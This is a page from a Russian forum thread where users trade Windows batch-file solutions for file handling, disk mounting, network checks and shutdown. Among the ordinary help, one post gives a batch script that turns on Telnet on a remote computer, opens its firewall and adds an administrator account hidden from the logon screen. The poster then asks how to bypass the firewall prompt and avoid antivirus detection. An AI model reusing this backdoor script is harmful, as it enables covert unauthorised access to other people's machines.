Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Операционные системы » Microsoft Windows » Задачи на bat-файлах 6

Модерирует : KLASS, IFkO

vu1tur (26-05-2009 11:39): часть 7 — http://forum.ru-board.com/topic.cgi?forum=62&topic=17154#1  Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100

   

vu1tur



Moderator-Saaber
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Задачи на bat-файлах 6
(часть 1, часть 2, часть 3, часть 4, часть 5)
Вопросы, задачи и их решения по работе с командными файлами, а также сопутствующие ссылки.

 
Важно: копируя батник через буфер обмена из форума не забывайте удалять пробелы в конце каждой строки, т.к. в некоторых случаях из-за этого программа будет работать неправильно!!!
 
Также для удаления концевых пробелов пользуйтесь скриптом от Nagual, или VBS-Скрипт-Модулем от ViSiToR.
 
Для перекодирования кирилицы 866<<>>1251 пользуйтесь онлайн сервисом Перекодировщик кириллицы

 
Дополняем шапку: добавляем готовые решения, полезные ссылки.
 
Примечание: Большие куски кода заключайте в тэг [more]  
 
Смежные темы:
В помощь системному администратору » Автоматизация администрирования
Программы » Командная строка, батники\сценарии
 
Полезные ссылки
 
Полезные утилиты
 
Готовые решения и частые вопросы:
  • Встроенный справочник по командам
  • Создание помощи по всем командам консоли 2000 и XP
  • Делаем паузу в командном файле стандартными средствами Windows
  • Альтернативные решения »
  • Работа с текстом, датой, и файлами »
  • Администрирование, автоматизация и сеть »
  • Работа с переменными и параметрами ком. строки »
     
    Описания работы команд и символов участниками темы:
    · setlocal enabledelayedexpansion и переменные окружения
    · символы & и && в командной строке
    · Переменная %0





    http://forum.ru-board.com/topic.cgi?forum=62&topic=17154

  • Всего записей: 3690 | Зарегистр. 01-02-2003 | Отправлено: 23:07 04-11-2008 | Исправлено: vu1tur, 11:38 26-05-2009
    vu1tur



    Moderator-Saaber
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
    SAOPP
    Ну вот же несколько страниц назад только спрашивали и отвечали.

    ----------
    I am free of all prejudice. I hate everyone equally.

    Всего записей: 3690 | Зарегистр. 01-02-2003 | Отправлено: 16:30 15-01-2009
    SAOPP

    Advanced Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
    vu1tur
    Немного запутался я в том батнике, а если необходимо указать несколько адресов, как тогда быть?
    Т.е. например google.com, mail.ru, ya.ru.

    Всего записей: 1048 | Зарегистр. 28-11-2004 | Отправлено: 16:58 15-01-2009 | Исправлено: SAOPP, 17:01 15-01-2009
    demon1981



    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    может здесь из-за цикла for так происходит??? кто сталкивался подскажите

    Всего записей: 189 | Зарегистр. 28-03-2007 | Отправлено: 16:59 15-01-2009 | Исправлено: demon1981, 17:00 15-01-2009
    brakonier



    Full Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Доброе время суток. Нужна помощь. Нужен батник котрый удалял бы файлы определённого размера, пофиг какого расширения, из определённой папки. Например C:\Program Files размера 100килобайт.
     

    Всего записей: 447 | Зарегистр. 09-04-2006 | Отправлено: 17:12 15-01-2009 | Исправлено: brakonier, 17:56 15-01-2009
    Elroir



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    demon1981
    В шапке:
    setlocal enabledelayedexpansion и переменные окружения

    ----------
    "В интернете есть все, но не всегда"

    Всего записей: 2631 | Зарегистр. 05-02-2003 | Отправлено: 17:14 15-01-2009
    GALAKA1

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    я написал батник, который, при запуске его на удаленном компе, включает там службу телнет  
    , прописывает в исключения встроенного виндового брандмауэра 23-й порт ну и создает  
    нового пользователя с правами админа.  
    вот он :    
    chcp 1251    
    net user SUPPORT_388945a0 /delete    
    net user SUPORT SUP /add    
    net localgroup Администраторы SUPORT /add    
    net localgroup Пользователи SUPPORT_388945a0 /del    
    %windir%\system32\REG.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPORT /t REG_DWORD /d 00000000 /f  
    sc config tlntsvr start= auto    
    tlntadmn config port=23 sec=-NTLM  
    netsh firewall add portopening TCP 23 systerm > nul    
    net start Telnet  
       
    Проблема в том ,что  когда я хочу зайти на тот комп через телнет , там видимо срабатывает фаервол  
    и запрашивает соединение для телнета, которое ему естественно не разрешают.  
       Как сделать так , что бы это обойти ? Желательно при помощи этого же батфайла.  
    И еще - не будет ли на этот батник матюкаться Касперский? Нод32 не орет

    Всего записей: 23 | Зарегистр. 24-03-2008 | Отправлено: 18:41 15-01-2009
    dallas roma

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Nagual, ух ты... а я думал что нереально так сделать. Спасибо 8)

    Всего записей: 13 | Зарегистр. 14-01-2009 | Отправлено: 03:25 16-01-2009 | Исправлено: dallas roma, 03:25 16-01-2009
    efanovamarina

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Имеем компьютер со след. характеристиками  
     
    Мат.плата - Intel Bay Field В865GBFL,ATX,i865G,S478,Video,Audio,Lan  
    Системный блок – midiTower INWIN S506 (P4) 300W  
    ОС – Windows 2000 Professional SP4  
     
    Необходимо компьютер автоматически выключить.  
    Для этого, в 'виндовый планировщик' добавляется ‘батник' следующего содержания :  
    shutdown -s -a -t 21:00 -c "planned" -f -d u:1:1 localhost  
    При выполнении данного “батника' завершение работы компьютера доходит до появления надписи 'Теперь питание компьютера можно выключить' (при этом сам компьютер работает)  
     
    Каким образом можно выключить данный компьютер?  
     
     
     
    p.s.  
    - Пуск-Завершения работы-Завершения работы – полностью выключает компьютер  
    - На аналогичном железе стоит Windows XP Professional SP3, при выполнении вышеуказанного ‘батника’, компьютер выключается полностью.    

    Всего записей: 8 | Зарегистр. 11-12-2008 | Отправлено: 09:12 16-01-2009
    king_stiven

    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    efanovamarina
     
    причина не в батнике, а в настройках компа. У меня подобное пропало, когда я установил винду xp вместо 2000

    Всего записей: 2229 | Зарегистр. 17-07-2006 | Отправлено: 09:52 16-01-2009
    efanovamarina

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Винду пока никто не собиарется переустанавливать

    Всего записей: 8 | Зарегистр. 11-12-2008 | Отправлено: 10:03 16-01-2009
    FsUsT

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Здравствуйте. Помогите пожалуйста с кодом.
    Задача стоит следующая:
    В папке С:\in\2\ ложатся файлы двоичного типа "090115tb.722", где "090115" это дата, в той же папке лежит перекодировщик этих файлов в текстовый - "encoder.exe". Задаю каждый раз в командной строке "encoder.exe 090115tb.722" после секундного кодирования получаю "090115tс.722" (текстовый уже внутри и отличается по названию только буковкой "с"). Вот собственно стоит задача автоматизации этого процесса при помощщи bat-скрипта, с последующим автоматическим переименованием "090115tс.722" в "txt0_090115.001" и переносом на диск e:\me\2.
    Перенос и копирование не есть проблема, но вот операторы и подстановочные знаки это уже сложно для меня Спасибо.

    Всего записей: 5 | Зарегистр. 16-01-2009 | Отправлено: 10:31 16-01-2009 | Исправлено: FsUsT, 10:33 16-01-2009
    01MDM



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    FsUsT
    Попробуй:

    Код:
     
    @echo off
    for %%i in (C:\in\2\*.722) do C:\in\2\encoder %%i
    for /f "tokens=1,3 delims=t." %%i in ('dir /b C:\in\2\*tc.722') do (
          move C:\in\2\%%itc.%%j E:\me\2\txt0_%%i.%%j
    )
     


    Всего записей: 2638 | Зарегистр. 13-02-2006 | Отправлено: 11:47 16-01-2009 | Исправлено: 01MDM, 11:54 16-01-2009
    ponand

    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Помагите плиз.. еще с батником удаляющим подключение диска(ов) к папке(ам) если еще и папки удалит вобще будет супер

    Всего записей: 56 | Зарегистр. 14-07-2008 | Отправлено: 11:47 16-01-2009
    01MDM



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    ponand

    Цитата:
    Помагите плиз.. еще с батником удаляющим подключение диска(ов) к папке(ам) если еще и папки удалит вобще будет супер

     
    Предлагаю немного переделать предыдущий батник, так чтобы он сразу генерировал батник на удаление точек подключения. Заново писать нет времени, добавь то что выделено жирным:

    Код:
     
    @echo off
    setlocal enabledelayedexpansion
     
    echo @echo off 1>umount.cmd
     
    set "wl=wmic logicaldisk"
    for /f "skip=1" %%i in ('%wl% get caption') do call:check %%i
    for /f "tokens=2,3 delims=_=" %%i in ('set logdisk_') do (
        set mountpoint=%%i
        set mountpoint=!mountpoint::\=!
        md !mountpoint!
        mountvol !mountpoint! %%j
        echo mountvol !mountpoint! /d 1>>umount.cmd
        echo rd !mountpoint! 1>>umount.cmd
     
    )
    echo del umount.cmd 2^>nul 1>>umount.cmd
    goto:eof
     
    :check
    %wl% where caption="%1" get drivetype | findstr "3" 1>nul && call:mount %1
    goto:eof
     
    :mount
    for /f %%i in ('mountvol ^| findstr "\\"') do (
        echo %%i | findstr "\?" 1>nul && set guid=%%i
        echo %%i | findstr "\:" 1>nul && set disk=%%i
        if %%i==%1\ set logdisk_!disk!=!guid!
    )
    if defined disk set disk=
     

     
    Можно просто запустить umount.cmd и будут удалены точки подключения, оставшиеся пустые папки и сам umount.cmd

    Всего записей: 2638 | Зарегистр. 13-02-2006 | Отправлено: 12:22 16-01-2009
    FsUsT

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

    Цитата:
    01MDM

    Спасибо огромное! Можно сказать что все успешно, немного подправил, так как не сразу запустился и добавил переименование в *.001:

    Код:
    @echo off  
    for %%i in (*.722) do encoder.exe %%i  
    for /f "tokens=1,3 delims=t." %%i in ('dir /b C:\in\2\*tc.722') do (  
          move C:\in\2\%%itc.%%j E:\me\2\txt0_%%i.%%j  
    )
    ren E:\me\2\*.722 *.001

    Но появились маленькие нестыковки, забыл указать, что файлов *.722 в папке "C:\in\2\" у меня уже много и каждый день я подкладываю ещё один за прошедшие сутки, то есть сегодня положил за вчера - "090115tb.722", вот, а скрипт начинает молотить все с самого первого дня, то есть все, что находит. Можно ли как то опираясь на дату создания, заставить Энкодер обрабатывать только последний файл, либо же подстановкой "123.bat 090115tb.722"? Ещё раз спасибо что помогаете

    Всего записей: 5 | Зарегистр. 16-01-2009 | Отправлено: 13:12 16-01-2009
    01MDM



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    FsUsT

    Цитата:
    Но появились маленькие нестыковки, забыл указать, что файлов *.722 в папке "C:\in\2\" у меня уже много

     
    Извини, но тогда не ясна задача. Я так понимаю, что все *tb.722 в конечном результате должны оказаться в E:\me\2? Или encoder.exe на выходе создает новый файл *tc.722, а исходные остаются? Если так, то не проще сразу удалять отработанные файлы или переименовывать, или архивировать?
     
    Вариант с переименованием:

    Код:
     
    @echo off  
    for %%i in (*tb.722) do (
         encoder.exe %%i
         ren %%i %%~ni.done
    )  
    for /f "tokens=1,3 delims=t." %%i in ('dir /b C:\in\2\*tc.722') do (  
          move C:\in\2\%%itc.%%j E:\me\2\txt0_%%i.001  
    )
     


    Всего записей: 2638 | Зарегистр. 13-02-2006 | Отправлено: 14:41 16-01-2009
    FsUsT

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    01MDM
    Действительно, я как то упустил этот момент, вставлю в код строчку перемещения файла *.722 в какое нибудь другое место хранения, а эта папка останется транзитной, для обработки!  
    Огромное спасибо, Ваша помощь неоценима
     
    P/S/ Если Вы не против, я к Вам чуток позже ещё пристану))) Спасибо

    Всего записей: 5 | Зарегистр. 16-01-2009 | Отправлено: 15:03 16-01-2009 | Исправлено: FsUsT, 15:07 16-01-2009
    Samec2009

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

    Код:
    demon1981
     
    chcp 1251  
    for /f "tokens=2 delims=:" %i in ('ipconfig ^| find /i "адрес"') do @echo %i>1.txt

    у меня почемуто не работает, закрівается мгновенно окно и всё, пробовал в добавить последней строчкой ping 195.5.46.12 -n 15>nul  для задержки на 15 секунд не помогает и 1.txt тоже не создаётся
     
    Добавлено:
     

    Код:
     
    SAOPP
     
     
    Ребят, подобное уже было по моему, но всё же, задачка такова: есть батник для ребута adsl модема, необходимо создать другой батник, который бы пинговал заданные адреса н-количество раз, если ответы есть, то просто выход, а в случае "не ответа" запускал выше упомянутый батник для ребута, можно такое реализовать? Заранее благодарен.
     

     
    но я лично сделал бы это всё в одном батнике в писав в свой например такой код

    Код:
     
    @ECHO off
    :ttt
    ping 195.5.46.12 | findstr /i "TTL"  
    if %errorlevel% ==1 call твой батник или лучше goto - метка
    ping 127.0.0.1 -n 300>nul  
    goto ttt
     

     
    Yurat

    Всего записей: 2 | Зарегистр. 14-01-2009 | Отправлено: 16:18 16-01-2009 | Исправлено: Samec2009, 16:39 16-01-2009
    Samuray123

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Доброго времени суток!
    Народ - хочу научиться писать *.bat, но не получается.... тяму не хватает. Проблема в данном случае такая: Есть папка с множеством директорий и подиректорий в них с фотками и рисунками (jpg, jpeg, bmp), нужно чтоб батник переименовал все файлы по дате создания и рассортировал по размеру - по новым папкам (например: 100Кб, 200Кб, 500Кб), а старые папки удалил...  
    P.S. Если не сложно - с коментариями. Спасибо!

    Всего записей: 2 | Зарегистр. 17-01-2009 | Отправлено: 12:37 17-01-2009
    zzxx1488

    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    хай
    вопрос такой, есть два файла A и B, нужно проверить время создания каждого из них, перевести в секунды и определив какой из них создан раньше выполнить запуск файла C.bat если A создан раньше B, а потом D.bat
    или наоборот, если B создан раньше A, то сначала D.bat, а потом C.bat
    никак не могу сделать.. очень буду рад помощи
     

    Всего записей: 62 | Зарегистр. 04-10-2008 | Отправлено: 16:02 17-01-2009
       

    Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100

    Компьютерный форум Ru.Board » Операционные системы » Microsoft Windows » Задачи на bat-файлах 6
    vu1tur (26-05-2009 11:39): часть 7 — http://forum.ru-board.com/topic.cgi?forum=62&topic=17154#1


    Реклама на форуме Ru.Board.

    Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
    Modified by Ru.B0ard
    © Ru.B0ard 2000-2024

    BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

    Рейтинг.ru